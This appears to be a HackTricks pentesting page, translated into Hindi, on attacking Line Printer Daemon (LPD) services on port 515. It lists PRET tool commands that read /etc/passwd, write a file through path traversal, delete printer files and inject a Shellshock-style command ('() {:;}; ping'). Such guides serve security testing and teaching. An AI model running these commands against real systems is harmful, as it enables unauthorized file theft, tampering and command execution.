hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

7.3 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

लाइन प्रिंटर डेमन (LPD) प्रोटोकॉल को पहले बर्कले यूनिक्स में 80 के दशक में पेश किया गया था (बाद में RFC1179 द्वारा निर्दिष्ट किया गया)।
डेमन 515/tcp पोर्ट पर चलता है और lpr कमांड का उपयोग करके पहुंचा जा सकता है। प्रिंट करने के लिए, क्लाइंट एक नियंत्रण फ़ाइल भेजता है जिसमें जॉब / उपयोगकर्ता को परिभाषित किया जाता है और एक डेटा फ़ाइल भेजता है जिसमें वास्तविक डेटा होता है जो प्रिंट किया जाना है। डेटा फ़ाइल का इनपुट प्रकार नियंत्रण फ़ाइल में निर्धारित किया जा सकता है अलग-अलग फ़ाइल प्रारूपों में से चुनकर। हालांकि, यह LPD के अंतर्निहित कर्मचारी को वास्तव में प्रिंट डेटा को कैसे हैंडल करना है, इस पर निर्भर करता है। यूनिक्स-जैसे ऑपरेटिंग सिस्टम के लिए एक लोकप्रिय LPD कार्यान्वयन LPRng है। LPD को एक वाहक के रूप में उपयोग किया जा सकता है ताकि खतरनाक पोस्टस्क्रिप्ट या PJL प्रिंट जॉब्स को डिप्लॉय किया जा सके।

lpdprint और lpdtest टूल PRET** में शामिल हैं।** ये एक न्यूनतम तरीका है जिससे डेटा को सीधे LPD सक्षम प्रिंटर पर प्रिंट किया जा सकता है या फ़ाइलें डाउनलोड/अपलोड/हटा सकते हैं और बहुत कुछ:

lpdprint.py hostname filename
lpdtest.py hostname get /etc/passwd
lpdtest.py hostname put ../../etc/passwd
lpdtest.py hostname rm /some/file/on/printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
lpdtest.py hostname mail lpdtest@mailhost.local

यदि आप प्रिंटर हैकिंग के बारे में और अधिक जानना चाहते हैं तो इस पेज को पढ़ें.

शोडन

  • पोर्ट 515
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥